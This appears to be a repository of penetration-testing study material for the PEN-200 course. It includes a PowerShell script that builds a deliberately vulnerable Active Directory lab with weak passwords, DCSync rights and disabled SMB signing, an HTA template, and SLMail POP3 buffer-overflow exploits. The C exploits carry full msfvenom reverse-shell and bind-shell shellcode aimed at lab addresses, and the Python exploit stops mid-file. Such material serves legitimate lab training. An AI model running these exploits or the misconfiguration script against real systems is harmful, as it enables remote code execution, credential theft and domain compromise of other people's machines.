├── Active-Directory ├── README.md └── spawn-faerie.ps1 ├── Client-Side-Attacks └── Template.HTA ├── Exploits ├── 643-fixed.c ├── 646-fixed.c ├── SLmailExploit-C.py ├── SLmailExploit-Python.py └── useradd.c ├── Priv-esc └── Linux │ ├── README.md │ ├── gtfo.py │ ├── gtfo.sh │ └── requirements.txt ├── README.md └── Transferring-Files └── HTTPServerWithUpload.py /Active-Directory/README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | 3 | The purpose of this directory is to provide resources, tools, and techniques that I used when I reviewed the AD section for the PEN-200/PWK 4 | 5 | ## Spawn Faerie 6 | 7 | A powershell script that automated the building process and creates a vulnerable active directory environment. Orginally modified the script to make it work on Windows 8 | Server 2016 so that it would run properly. This script was also used to build an vulnerable AD Challenge that would have been used for the Red Team Village CTF for Defcon 30. 9 | 10 | The script implements the following AD Attacks: 11 | 12 | - Abusing ACLs/ACEs 13 | - Kerberoasting 14 | - AS-REP Roasting 15 | - Abuse DnsAdmins 16 | - Password in Object Description 17 | - User Objects With Default password (Changeme123!) 18 | - Password Spraying 19 | - DCSync 20 | - Silver Ticket 21 | - Golden Ticket 22 | - Pass-the-Hash 23 | - Pass-the-Ticket 24 | - SMB Signing Disabled 25 | 26 | # Credit 27 | 28 | - @WazeHell Orginial creator of the script. You can find it here: https://github.com/WazeHell/vulnerable-AD 29 | 30 | ## TO DO: 31 | 32 | - Implement a procedure where it can import vulnerable templates for AD CS 33 | - Test the script on other Server editions that are 2016 and up 34 | - Include a AD Attack that focuses on attacking MSSQL 35 | -------------------------------------------------------------------------------- /Active-Directory/spawn-faerie.ps1: -------------------------------------------------------------------------------- 1 | #Title: Spawn Faerie 2 | # Purpose: Create a vulnerable active directory system that can be used to test against most active directory attacks. Script was modified to build an AD box for the red team village CTF! 3 | # Orginial Credit: @WazeHell https://github.com/WazeHell/vulnerable-AD 4 | 5 | # Tested on Windows Server 2016 6 | 7 | # Instructions: 8 | 9 | 10 | 11 | # Base Configuration 12 | $Global:HumansNames = @('Andy', 'Cyan', 'Christopher', 'Craig', 'Eddie', 'Jason', 'Simon', 'Matsuko', 'Helen', 'Tiffany', 'Joe', 'Margaret', 'Billy', 'Jade', 'Lisa', 'Yujiro', 'Gabrielle', 'Simon', 'Phil', 'Max', 'Earl', 'Susan', 'Sara', 'Richard', 'Brock', 'Malebogia', 'Merrick', 'Solomon'); 13 | $Global:BadPasswords = @('martindale2020', 'Merio131', 'Santiago1411', 'Svastic11', 'Visuar2626', 'Edusilden2006', 'JuanManuel494', 'JuanManuel494', 'Cris1053', 'Moreno2950', 'Adm2309', 'Vis0165', 'Blue2020$', 'Roman2020', 'BBL4NC41', 'Tito3110', 'fernando2020', 'diego2020', 'Spyre217!', 'Pgmgp128!', 'Fx55t8Ya', 'moneYmor3', 'P@ssw0rdga'); 14 | $Global:HighGroups = @('Office Admin','IT Admins','Executives'); 15 | $Global:MidGroups = @('Senior management','Project management'); 16 | $Global:NormalGroups = @('marketing','sales','accounting'); 17 | $Global:BadACL = @('GenericAll','GenericWrite','WriteOwner','WriteDACL','Self','WriteProperty'); 18 | $Global:ServicesAccountsAndSPNs = @('mssql_svc,mssqlserver','http_svc,httpserver','exchange_svc,exserver'); 19 | $Global:CreatedUsers = @(); 20 | $Global:AllObjects = @(); 21 | $Global:Domain = ""; 22 | #Strings 23 | $Global:Spacing = "`t" 24 | $Global:PlusLine = "`t[+]" 25 | $Global:ErrorLine = "`t[-]" 26 | $Global:InfoLine = "`t[*]" 27 | function Write-Good { param( $String ) Write-Host $Global:PlusLine $String -ForegroundColor 'Green'} 28 | function Write-Bad { param( $String ) Write-Host $Global:ErrorLine $String -ForegroundColor 'red' } 29 | function Write-Info { param( $String ) Write-Host $Global:InfoLine $String -ForegroundColor 'gray' } 30 | function ShowBanner { 31 | $banner = @() 32 | $banner+= $Global:Spacing + '' 33 | $banner+= $Global:Spacing + '@@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@@ @@@ @@@@@@@@' 34 | $banner+= $Global:Spacing + '@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@@@@@@' 35 | $banner+= $Global:Spacing + '@@! @@! @@@ @@! @@! @@@ @@! @@!' 36 | $banner+= $Global:Spacing + '!@! !@! @!@ !@! !@! @!@ !@! !@!' 37 | $banner+= $Global:Spacing + '@!!!:! @!@!@!@! @!!!:! @!@!!@! !!@ @!!!:!' 38 | $banner+= $Global:Spacing + '!!!!!: !!!@!!!! !!!!!: !!@!@! !!! !!!!!:' 39 | $banner+= $Global:Spacing + '!!: !!: !!! !!: !!: :!! !!: !!:' 40 | $banner+= $Global:Spacing + ':!: :!: !:! :!: :!: !:! :!: :!:' 41 | $banner+= $Global:Spacing +':: :: ::: :: :::: :: ::: :: :: ::::' 42 | $banner+= $Global:Spacing + ': : : : : :: :: : : : : : :: ::' 43 | $banner+= $Global:Spacing + '' 44 | $banner+= $Global:Spacing + 'Modified by Tj Null' 45 | $banner | foreach-object { 46 | Write-Host $_ -ForegroundColor (Get-Random -Input @('red','Cyan','Yellow','gray','white')) 47 | } 48 | } 49 | 50 | function Faerie-GetRandom { 51 | Param( 52 | [array]$InputList 53 | ) 54 | return Get-Random -InputObject $InputList 55 | } 56 | function Faerie-AddADGroup { 57 | Param( 58 | [array]$GroupList 59 | ) 60 | foreach ($group in $GroupList) { 61 | Write-Info "Creating $group Group" 62 | Try { New-ADGroup -name $group -GroupScope Global } Catch {} 63 | for ($i=1; $i -le (Get-Random -Maximum 20); $i=$i+1 ) { 64 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 65 | Write-Info "Adding $randomuser to $group" 66 | Try { Add-ADGroupMember -Identity $group -Members $randomuser } Catch {} 67 | } 68 | $Global:AllObjects += $group; 69 | } 70 | } 71 | function Faerie-AddADUser { 72 | Param( 73 | [int]$limit = 1 74 | ) 75 | Add-Type -AssemblyName System.Web 76 | for ($i=1; $i -le $limit; $i=$i+1 ) { 77 | $firstname = (Faerie-GetRandom -InputList $Global:HumansNames); 78 | $lastname = (Faerie-GetRandom -InputList $Global:HumansNames); 79 | $fullname = "{0} {1}" -f ($firstname , $lastname); 80 | $SamAccountName = ("{0}.{1}" -f ($firstname, $lastname)).ToLower(); 81 | $principalname = "{0}.{1}" -f ($firstname, $lastname); 82 | $generated_password = ([System.Web.Security.Membership]::GeneratePassword(12,2)) 83 | Write-Info "Creating $SamAccountName User" 84 | Try { New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -AccountPassword (ConvertTo-SecureString $generated_password -AsPlainText -Force) -PassThru | Enable-ADAccount } Catch {} 85 | $Global:CreatedUsers += $SamAccountName; 86 | } 87 | 88 | } 89 | function Faerie-AddACL { 90 | [CmdletBinding()] 91 | param( 92 | [Parameter(Mandatory=$true)] 93 | [ValidateNotNullOrEmpty()] 94 | [string]$Destination, 95 | 96 | [Parameter(Mandatory=$true)] 97 | [ValidateNotNullOrEmpty()] 98 | [System.Security.Principal.IdentityReference]$Source, 99 | 100 | [Parameter(Mandatory=$true)] 101 | [ValidateNotNullOrEmpty()] 102 | [string]$Rights 103 | 104 | ) 105 | $ADObject = [ADSI]("LDAP://" + $Destination) 106 | $identity = $Source 107 | $adRights = [System.DirectoryServices.ActiveDirectoryRights]$Rights 108 | $type = [System.Security.AccessControl.AccessControlType] "Allow" 109 | $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All" 110 | $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$inheritanceType 111 | $ADObject.psbase.ObjectSecurity.AddAccessRule($ACE) 112 | $ADObject.psbase.commitchanges() 113 | } 114 | function Faerie-BadAcls { 115 | foreach ($abuse in $Global:BadACL) { 116 | $ngroup = Faerie-GetRandom -InputList $Global:NormalGroups 117 | $mgroup = Faerie-GetRandom -InputList $Global:MidGroups 118 | $DstGroup = Get-ADGroup -Identity $mgroup 119 | $SrcGroup = Get-ADGroup -Identity $ngroup 120 | Faerie-AddACL -Source $SrcGroup.sid -Destination $DstGroup.DistinguishedName -Rights $abuse 121 | Write-Info "BadACL $abuse $ngroup to $mgroup" 122 | } 123 | foreach ($abuse in $Global:BadACL) { 124 | $hgroup = Faerie-GetRandom -InputList $Global:HighGroups 125 | $mgroup = Faerie-GetRandom -InputList $Global:MidGroups 126 | $DstGroup = Get-ADGroup -Identity $hgroup 127 | $SrcGroup = Get-ADGroup -Identity $mgroup 128 | Faerie-AddACL -Source $SrcGroup.sid -Destination $DstGroup.DistinguishedName -Rights $abuse 129 | Write-Info "BadACL $abuse $mgroup to $hgroup" 130 | } 131 | for ($i=1; $i -le (Get-Random -Maximum 25); $i=$i+1 ) { 132 | $abuse = (Faerie-GetRandom -InputList $Global:BadACL); 133 | $randomuser = Faerie-GetRandom -InputList $Global:CreatedUsers 134 | $randomgroup = Faerie-GetRandom -InputList $Global:AllObjects 135 | if ((Get-Random -Maximum 2)){ 136 | $Dstobj = Get-ADUser -Identity $randomuser 137 | $Srcobj = Get-ADGroup -Identity $randomgroup 138 | }else{ 139 | $Srcobj = Get-ADUser -Identity $randomuser 140 | $Dstobj = Get-ADGroup -Identity $randomgroup 141 | } 142 | Faerie-AddACL -Source $Srcobj.sid -Destination $Dstobj.DistinguishedName -Rights $abuse 143 | Write-Info "BadACL $abuse $randomuser and $randomgroup" 144 | } 145 | } 146 | function Faerie-Kerberoasting { 147 | $selected_service = (Faerie-GetRandom -InputList $Global:ServicesAccountsAndSPNs) 148 | $svc = $selected_service.split(',')[0]; 149 | $spn = $selected_service.split(',')[1]; 150 | $password = Faerie-GetRandom -InputList $Global:BadPasswords; 151 | Write-Info "Kerberoasting $svc $spn" 152 | Try { New-ADServiceAccount -Name $svc -ServicePrincipalNames "$svc/$spn.$Global:Domain" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -RestrictToSingleComputer -PassThru } Catch {} 153 | foreach ($sv in $Global:ServicesAccountsAndSPNs) { 154 | if ($selected_service -ne $sv) { 155 | $svc = $sv.split(',')[0]; 156 | $spn = $sv.split(',')[1]; 157 | Write-Info "Creating $svc services account" 158 | $password = ([System.Web.Security.Membership]::GeneratePassword(12,2)) 159 | Try { New-ADServiceAccount -Name $svc -ServicePrincipalNames "$svc/$spn.$Global:Domain" -RestrictToSingleComputer -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru } Catch {} 160 | 161 | } 162 | } 163 | } 164 | function Faerie-ASREPRoasting { 165 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) { 166 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 167 | $password = Faerie-GetRandom -InputList $Global:BadPasswords; 168 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force) 169 | Set-ADAccountControl -Identity $randomuser -DoesNotRequirePreAuth 1 170 | Write-Info "AS-REPRoasting $randomuser" 171 | } 172 | } 173 | function Faerie-DnsAdmins { 174 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) { 175 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 176 | Add-ADGroupMember -Identity "DnsAdmins" -Members $randomuser 177 | Write-Info "DnsAdmins : $randomuser" 178 | } 179 | $randomg = (Faerie-GetRandom -InputList $Global:MidGroups) 180 | Add-ADGroupMember -Identity "DnsAdmins" -Members $randomg 181 | Write-Info "DnsAdmins Nested Group : $randomg" 182 | } 183 | function Faerie-PwdInObjectDescription { 184 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) { 185 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 186 | $password = ([System.Web.Security.Membership]::GeneratePassword(12,2)) 187 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force) 188 | Set-ADUser $randomuser -Description "User Password $password" 189 | Write-Info "Password in Description : $randomuser" 190 | } 191 | } 192 | function Faerie-DefaultPassword { 193 | for ($i=1; $i -le (Get-Random -Maximum 5); $i=$i+1 ) { 194 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 195 | $password = "Changeme123!"; 196 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force) 197 | Set-ADUser $randomuser -Description "New User ,DefaultPassword" 198 | Set-AdUser $randomuser -ChangePasswordAtLogon $true 199 | Write-Info "Default Password : $randomuser" 200 | } 201 | } 202 | function Faerie-PasswordSpraying { 203 | $same_password = "ncc1701"; 204 | for ($i=1; $i -le (Get-Random -Maximum 12); $i=$i+1 ) { 205 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 206 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $same_password -AsPlainText -Force) 207 | Set-ADUser $randomuser -Description "Shared User" 208 | Write-Info "Same Password (Password Spraying) : $randomuser" 209 | } 210 | } 211 | function Faerie-DCSync { 212 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) { 213 | $ADObject = [ADSI]("LDAP://" + (Get-ADDomain $Global:Domain).DistinguishedName) 214 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers) 215 | $sid = (Get-ADUser -Identity $randomuser).sid 216 | 217 | $objectGuidGetChanges = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 218 | $ACEGetChanges = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,'ExtendedRight','Allow',$objectGuidGetChanges) 219 | $ADObject.psbase.Get_objectsecurity().AddAccessRule($ACEGetChanges) 220 | 221 | $objectGuidGetChanges = New-Object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 222 | $ACEGetChanges = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,'ExtendedRight','Allow',$objectGuidGetChanges) 223 | $ADObject.psbase.Get_objectsecurity().AddAccessRule($ACEGetChanges) 224 | 225 | $objectGuidGetChanges = New-Object Guid 89e95b76-444d-4c62-991a-0facbeda640c 226 | $ACEGetChanges = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,'ExtendedRight','Allow',$objectGuidGetChanges) 227 | $ADObject.psbase.Get_objectsecurity().AddAccessRule($ACEGetChanges) 228 | $ADObject.psbase.CommitChanges() 229 | 230 | Set-ADUser $randomuser -Description "Replication Account" 231 | Write-Info "Giving DCSync to : $randomuser" 232 | } 233 | } 234 | function Faerie-DisableSMBSigning { 235 | Set-SmbClientConfiguration -RequireSecuritySignature 0 -EnableSecuritySignature 0 -Confirm -Force 236 | } 237 | 238 | function Faerie-ADCS { 239 | # References: 240 | # https://blog.wiztechtalk.com/2019/04/03/microsoft-powershell-install-and-configure-ad-certificate-services-windows-server-2016/ 241 | # https://github.com/Orange-Cyberdefense/GOAD/blob/ecaa13720f77ca3ca2514f00eeec1a5b7c2dd2ef/ansible/roles/adcs/tasks/main.yml 242 | # https://docs.microsoft.com/en-us/powershell/module/adcsadministration/?view=windowsserver2022-ps 243 | # Check to see if the certificates were created: https://docs.microsoft.com/en-us/powershell/module/pki/get-certificate?view=windowsserver2022-ps 244 | 245 | Get-WindowsFeature AD-Certificate 246 | Install-WindowsFeature Adcs-Cert-Authority -IncludeManagementTools 247 | Install-WindowsFeature ADCS-Web-Enrollment 248 | Install-ADcsCertificationAuthority –Credential (Get-Credential) -CAType StandaloneRootCA –CACommonName “domain-faerie-CA-1” –CADistinguishedNameSuffix “DC=domain,DC=com” –CryptoProviderName “RSA#Microsoft Software Key Storage Provider” -KeyLength 2048 –HashAlgorithmName SHA1 –ValidityPeriod Years –ValidityPeriodUnits 3 –DatabaseDirectory “C:\windows\system32\certLog” –LogDirectory “c:\windows\system32\CertLog” –Force 249 | 250 | } 251 | function Invoke-Faerie { 252 | Param( 253 | [int]$UsersLimit = 100, 254 | [Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True,Position=1)] 255 | [ValidateNotNullOrEmpty()] 256 | [System.String] 257 | $DomainName 258 | ) 259 | ShowBanner 260 | $Global:Domain = $DomainName 261 | Set-ADDefaultDomainPasswordPolicy -Identity $Global:Domain -LockoutDuration 00:01:00 -LockoutObservationWindow 00:01:00 -ComplexityEnabled $false -ReversibleEncryptionEnabled $False -MinPasswordLength 4 262 | Faerie-AddADUser -limit $UsersLimit 263 | Write-Good "Users Created" 264 | Faerie-AddADGroup -GroupList $Global:HighGroups 265 | Write-Good "$Global:HighGroups Groups Created" 266 | Faerie-AddADGroup -GroupList $Global:MidGroups 267 | Write-Good "$Global:MidGroups Groups Created" 268 | Faerie-AddADGroup -GroupList $Global:NormalGroups 269 | Write-Good "$Global:NormalGroups Groups Created" 270 | Faerie-BadAcls 271 | Write-Good "BadACL Done" 272 | Faerie-Kerberoasting 273 | Write-Good "Kerberoasting Done" 274 | Faerie-ASREPRoasting 275 | Write-Good "AS-REPRoasting Done" 276 | Faerie-DnsAdmins 277 | Write-Good "DnsAdmins Done" 278 | Faerie-PwdInObjectDescription 279 | Write-Good "Password In Object Description Done" 280 | Faerie-DefaultPassword 281 | Write-Good "Default Password Done" 282 | Faerie-PasswordSpraying 283 | Write-Good "Password Spraying Done" 284 | Faerie-DCSync 285 | Write-Good "DCSync Done" 286 | Faerie-DisableSMBSigning 287 | Write-Good "SMB Signing Disabled" 288 | Faerie-ADCS 289 | Write-Good "AD CS Installed" 290 | } 291 | -------------------------------------------------------------------------------- /Client-Side-Attacks/Template.HTA: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | demo 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Exploits/643-fixed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | //#define retadd "\x8f\x35\x4a\x5f" /*JMP ESP in SLMFC.DLL 0x5f4a358f*/ 13 | #define retadd "\x8f\x35\x4a\x5f" 14 | #define port 110 15 | 16 | /* msfvenom --arch x86 -p windows/shell_reverse_tcp LHOST=192.168.117.129 R LPORT=1337 -b '\x00\x0a\x0d' -f c */ 17 | //unsigned char shellcode[] = 18 | unsigned char shellcode[] = 19 | "\xbb\xc8\x2e\xb1\xfa\xdb\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" 20 | "\x52\x31\x5a\x12\x83\xc2\x04\x03\x92\x20\x53\x0f\xde\xd5\x11" 21 | "\xf0\x1e\x26\x76\x78\xfb\x17\xb6\x1e\x88\x08\x06\x54\xdc\xa4" 22 | "\xed\x38\xf4\x3f\x83\x94\xfb\x88\x2e\xc3\x32\x08\x02\x37\x55" 23 | "\x8a\x59\x64\xb5\xb3\x91\x79\xb4\xf4\xcc\x70\xe4\xad\x9b\x27" 24 | "\x18\xd9\xd6\xfb\x93\x91\xf7\x7b\x40\x61\xf9\xaa\xd7\xf9\xa0" 25 | "\x6c\xd6\x2e\xd9\x24\xc0\x33\xe4\xff\x7b\x87\x92\x01\xad\xd9" 26 | "\x5b\xad\x90\xd5\xa9\xaf\xd5\xd2\x51\xda\x2f\x21\xef\xdd\xf4" 27 | "\x5b\x2b\x6b\xee\xfc\xb8\xcb\xca\xfd\x6d\x8d\x99\xf2\xda\xd9" 28 | "\xc5\x16\xdc\x0e\x7e\x22\x55\xb1\x50\xa2\x2d\x96\x74\xee\xf6" 29 | "\xb7\x2d\x4a\x58\xc7\x2d\x35\x05\x6d\x26\xd8\x52\x1c\x65\xb5" 30 | "\x97\x2d\x95\x45\xb0\x26\xe6\x77\x1f\x9d\x60\x34\xe8\x3b\x77" 31 | "\x3b\xc3\xfc\xe7\xc2\xec\xfc\x2e\x01\xb8\xac\x58\xa0\xc1\x26" 32 | "\x98\x4d\x14\xe8\xc8\xe1\xc7\x49\xb8\x41\xb8\x21\xd2\x4d\xe7" 33 | "\x52\xdd\x87\x80\xf9\x24\x40\x6f\x55\x53\x11\x07\xa4\x9b\x14" 34 | "\xe1\x21\x7d\x7c\x01\x64\xd6\xe9\xb8\x2d\xac\x88\x45\xf8\xc9" 35 | "\x8b\xce\x0f\x2e\x45\x27\x65\x3c\x32\xc7\x30\x1e\x95\xd8\xee" 36 | "\x36\x79\x4a\x75\xc6\xf4\x77\x22\x91\x51\x49\x3b\x77\x4c\xf0" 37 | "\x95\x65\x8d\x64\xdd\x2d\x4a\x55\xe0\xac\x1f\xe1\xc6\xbe\xd9" 38 | "\xea\x42\xea\xb5\xbc\x1c\x44\x70\x17\xef\x3e\x2a\xc4\xb9\xd6" 39 | "\xab\x26\x7a\xa0\xb3\x62\x0c\x4c\x05\xdb\x49\x73\xaa\x8b\x5d" 40 | "\x0c\xd6\x2b\xa1\xc7\x52\x5b\xe8\x45\xf2\xf4\xb5\x1c\x46\x99" 41 | "\x45\xcb\x85\xa4\xc5\xf9\x75\x53\xd5\x88\x70\x1f\x51\x61\x09" 42 | "\x30\x34\x85\xbe\x31\x1d"; 43 | 44 | struct sockaddr_in plm,lar,target; 45 | 46 | int conn(char *ip) 47 | { 48 | int sockfd; 49 | plm.sin_family = AF_INET; 50 | plm.sin_port = htons(port); 51 | plm.sin_addr.s_addr = inet_addr(ip); 52 | bzero(&(plm.sin_zero),8); 53 | sockfd = socket(AF_INET,SOCK_STREAM,0); 54 | if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0) 55 | { 56 | perror("[-] connect error!"); 57 | exit(0); 58 | } 59 | printf("[*] Connected to: %s.\n",ip); 60 | return sockfd; 61 | } 62 | 63 | int main(int argc, char *argv[]) 64 | { 65 | int xs; 66 | char out[1024]; 67 | char *buffer = malloc(3500); 68 | memset(buffer, 0x00, 3500); 69 | char *off = malloc(2606); 70 | memset(off, 0x00, 2606); 71 | // memset(off, 0x41, 2605); 72 | memset(off, 0x41, 2606); 73 | // char *nop = malloc(16); 74 | // memset(nop, 0x00, 13); 75 | // memset(nop, 0x90, 12); 76 | 77 | char *nop = malloc(8); 78 | memset(nop, 0x00,8); 79 | memset(nop, 0x90,8); 80 | 81 | strcat(buffer, off); 82 | strcat(buffer, retadd); 83 | strcat(buffer, nop); 84 | strcat(buffer, shellcode); 85 | 86 | printf("[+] SLMAIL Remote buffer overflow exploit in POP3 PASS by TJnull.\n"); 87 | xs = conn("192.168.117.132"); 88 | read(xs, out, 1024); 89 | printf("[*] %s", out); 90 | write(xs,"USER username\r\n", 15); 91 | read(xs, out, 1024); 92 | printf("[*] %s", out); 93 | write(xs,"PASS ",5); 94 | write(xs,buffer,strlen(buffer)); 95 | printf("Shellcode len: %d bytes\n",strlen(shellcode)); 96 | printf("Buffer len: %d bytes\n",strlen(buffer)); 97 | write(xs,"\r\n",4); 98 | close(xs); 99 | } 100 | -------------------------------------------------------------------------------- /Exploits/646-fixed.c: -------------------------------------------------------------------------------- 1 | /* 2 | SLMAIL REMOTE PASSWD BOF - TJnull 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | /* To compile the exploit for windows in kali run this: i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o slmail.exe */ 11 | /** 12 | * [*] bind 4444 13 | * 14 | * msfvenom --arch x86 -p windows/shell_bind_tcp LPORT=1337 -b '\x00\x0a\x0d' -f c -e x86/shikata_ga_nai 15 | * 16 | */ 17 | unsigned char shellcode[] = 18 | "\xd9\xee\xd9\x74\x24\xf4\xbd\x07\xf4\xcc\xe0\x5a\x2b\xc9\xb1" 19 | "\x53\x83\xc2\x04\x31\x6a\x13\x03\x6d\xe7\x2e\x15\x8d\xef\x2d" 20 | "\xd6\x6d\xf0\x51\x5e\x88\xc1\x51\x04\xd9\x72\x62\x4e\x8f\x7e" 21 | "\x09\x02\x3b\xf4\x7f\x8b\x4c\xbd\xca\xed\x63\x3e\x66\xcd\xe2" 22 | "\xbc\x75\x02\xc4\xfd\xb5\x57\x05\x39\xab\x9a\x57\x92\xa7\x09" 23 | "\x47\x97\xf2\x91\xec\xeb\x13\x92\x11\xbb\x12\xb3\x84\xb7\x4c" 24 | "\x13\x27\x1b\xe5\x1a\x3f\x78\xc0\xd5\xb4\x4a\xbe\xe7\x1c\x83" 25 | "\x3f\x4b\x61\x2b\xb2\x95\xa6\x8c\x2d\xe0\xde\xee\xd0\xf3\x25" 26 | "\x8c\x0e\x71\xbd\x36\xc4\x21\x19\xc6\x09\xb7\xea\xc4\xe6\xb3" 27 | "\xb4\xc8\xf9\x10\xcf\xf5\x72\x97\x1f\x7c\xc0\xbc\xbb\x24\x92" 28 | "\xdd\x9a\x80\x75\xe1\xfc\x6a\x29\x47\x77\x86\x3e\xfa\xda\xcf" 29 | "\xf3\x37\xe4\x0f\x9c\x40\x97\x3d\x03\xfb\x3f\x0e\xcc\x25\xb8" 30 | "\x71\xe7\x92\x56\x8c\x08\xe3\x7f\x4b\x5c\xb3\x17\x7a\xdd\x58" 31 | "\xe7\x83\x08\xf4\xef\x22\xe3\xeb\x12\x94\x53\xac\xbc\x7d\xbe" 32 | "\x23\xe3\x9e\xc1\xe9\x8c\x37\x3c\x12\xb7\xfe\xc9\xf4\xdd\x10" 33 | "\x9c\xaf\x49\xd3\xfb\x67\xee\x2c\x2e\xd0\x98\x65\x38\xe7\xa7" 34 | "\x75\x6e\x4f\x3f\xfe\x7d\x4b\x5e\x01\xa8\xfb\x37\x96\x26\x6a" 35 | "\x7a\x06\x36\xa7\xec\xab\xa5\x2c\xec\xa2\xd5\xfa\xbb\xe3\x28" 36 | "\xf3\x29\x1e\x12\xad\x4f\xe3\xc2\x96\xcb\x38\x37\x18\xd2\xcd" 37 | "\x03\x3e\xc4\x0b\x8b\x7a\xb0\xc3\xda\xd4\x6e\xa2\xb4\x96\xd8" 38 | "\x7c\x6a\x71\x8c\xf9\x40\x42\xca\x05\x8d\x34\x32\xb7\x78\x01" 39 | "\x4d\x78\xed\x85\x36\x64\x8d\x6a\xed\x2c\xbd\x20\xaf\x05\x56" 40 | "\xed\x3a\x14\x3b\x0e\x91\x5b\x42\x8d\x13\x24\xb1\x8d\x56\x21" 41 | "\xfd\x09\x8b\x5b\x6e\xfc\xab\xc8\x8f\xd5"; 42 | 43 | 44 | void exploit(int sock) { 45 | FILE *test; 46 | char *ptr; //change from 'int *ptr;' to ' char *ptr' 47 | char userbuf[] = "USER Tjnull\r\n"; 48 | char evil[3001]; 49 | char buf[3012]; 50 | char receive[1024]; 51 | char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90" 52 | "\x90\x90\x90\x90\x90\x90\x90\x90"; 53 | memset(buf, 0x00, 3012); 54 | memset(evil, 0x00, 3001); 55 | memset(evil, 0x43, 3000); 56 | ptr = evil; //change from 'ptr =&evil ' to 'ptr = evil' 57 | ptr = ptr + 2606; // 2606 for pwk 58 | memcpy(ptr, &nopsled, 16); 59 | ptr = ptr + 16; 60 | memcpy(ptr, &shellcode, 317); 61 | *(long*)&evil[2600] = 0x5F4A358F; // JMP ESP PWK Win 7 5F4A358F FFE4 JMP ESP 62 | 63 | // banner 64 | recv(sock, receive, 200, 0); 65 | printf("[+] %s", receive); 66 | // user 67 | printf("[+] Sending Username...\n"); 68 | send(sock, userbuf, strlen(userbuf), 0); 69 | recv(sock, receive, 200, 0); 70 | printf("[+] %s", receive); 71 | // passwd 72 | printf("[+] Sending Evil buffer...\n"); 73 | sprintf(buf, "PASS %s\r\n", evil); 74 | //test = fopen("test.txt", "w"); 75 | //fprintf(test, "%s", buf); 76 | //fclose(test); 77 | send(sock, buf, strlen(buf), 0); 78 | printf("[*] Done! Connect to the host on port 1337...\n\n"); 79 | } 80 | 81 | int connect_target(char *host, u_short port) 82 | { 83 | int sock = 0; 84 | struct hostent *hp; 85 | WSADATA wsa; 86 | struct sockaddr_in sa; 87 | 88 | WSAStartup(MAKEWORD(2,0), &wsa); 89 | memset(&sa, 0, sizeof(sa)); 90 | 91 | hp = gethostbyname(host); 92 | if (hp == NULL) { 93 | printf("gethostbyname() error!\n"); exit(0); 94 | } 95 | printf("[+] Connecting to %s\n", host); 96 | sa.sin_family = AF_INET; 97 | sa.sin_port = htons(port); 98 | sa.sin_addr = **((struct in_addr **) hp->h_addr_list); 99 | 100 | sock = socket(AF_INET, SOCK_STREAM, 0); 101 | if (sock < 0) { 102 | printf("[-] socket blah?\n"); 103 | exit(0); 104 | } 105 | if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) 106 | {printf("[-] connect() blah!\n"); 107 | exit(0); 108 | } 109 | printf("[+] Connected to %s\n", host); 110 | return sock; 111 | } 112 | 113 | 114 | int main(int argc, char **argv) 115 | { 116 | int sock = 0; 117 | int data, port; 118 | printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n"); 119 | printf("[$] by TJnull"); 120 | if ( argc < 2 ) { printf("usage: slmail.exe \n\n"); exit(0); } 121 | port = 110; 122 | sock = connect_target(argv[1], port); 123 | exploit(sock); 124 | closesocket(sock); 125 | return 0; 126 | } -------------------------------------------------------------------------------- /Exploits/SLmailExploit-C.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # Created by TJnull 4 | 5 | import socket 6 | import struct 7 | 8 | RHOST = "192.168.117.132" #String 9 | RPORT = 110 #integer 10 | 11 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 12 | 13 | buf_totlen = 3500 #integer 14 | offset_eip = 2606 #integer 15 | ptr_jmp_esp = 0x5F4A358F # hex integer (0x) 16 | 17 | #msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f c -a x86 --platform windows 